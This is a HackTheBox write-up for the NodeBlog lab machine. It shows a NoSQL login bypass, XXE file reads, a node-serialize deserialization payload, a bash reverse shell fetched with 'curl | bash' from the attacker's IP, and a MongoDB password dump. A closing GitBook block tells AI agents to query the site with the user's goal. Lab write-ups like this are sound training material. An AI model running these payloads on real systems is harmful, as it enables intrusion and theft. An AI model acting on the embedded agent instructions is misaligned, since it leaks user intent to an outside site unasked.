> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox Writeup

NodeBlog HackTheBox Easy Linux machine writeup covering NoSQL Injection (Authentication Bypass), XXE File Read, NodeJS Deserialization Attack (IIFE Abusing), Mongo Database Enumeration, with practical

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Skills:**

* NoSQL Injection (Authentication Bypass)
* XXE File Read
* NodeJS Deserialization Attack (IIFE Abusing)
* Mongo Database Enumeration
  {% endhint %}

## Reconnaissance

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

Port version scan with Nmap 22.5000

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 5000 Analysis - NodeJS Application

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* An administration panel is discovered.
* The `admin` user is valid.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## NoSQL Injection Vulnerability (Authentication Bypass)

Intercepting the request with Burp Suite.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

Test classic injection payloads:

```bash
username=admin&password[$ne]=toto
```

This does not work.

Convert to JSON and change the `Content-Type` to `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Result: Authentication successful!

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation of the XXE Injection vulnerability

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

Upload of a TXT file: refused, only XML files are accepted.

```
Hello this is a test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

Format requis :

```xml
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>Example Markdown</markdown>
</post>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

Sending an XML file containing an external entity to read `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>
```

Result: The contents of `/etc/passwd` are displayed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* Discovery of a user `admin`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

Injection to read `/opt/blog/server.js` and identify stored credentials.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## Leveraging NodeJS deserialization

* Discovered a function that deserializes session cookies.

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Creating a Payload:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Listening to ICMP traffic with:

```bash
tcpdump -i tun0 icmp -n
```

* Url Encode:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Construction of an RCE via URL Encoding and injection into cookies.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - Vulnerability Deserialization (nodejs)

Creating a `index.html` reverse shell script:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Starting an HTTP server:

```bash
python3 -m http.server 80
```

Listening:

```bash
nc -nlvp 443
```

#### Sending the Payload :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* Url Encode:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Result: Shell access obtained.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

### Mongo Database Enumeration

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Connection to MongoDB database (port 27017 open):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* password : IppsecSaysPleaseSubscribe

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Checking sudo privileges:

```bash
sudo -l
```

Result: the admin user can run `sudo su` without a password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Passage en root :

```bash
sudo su
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
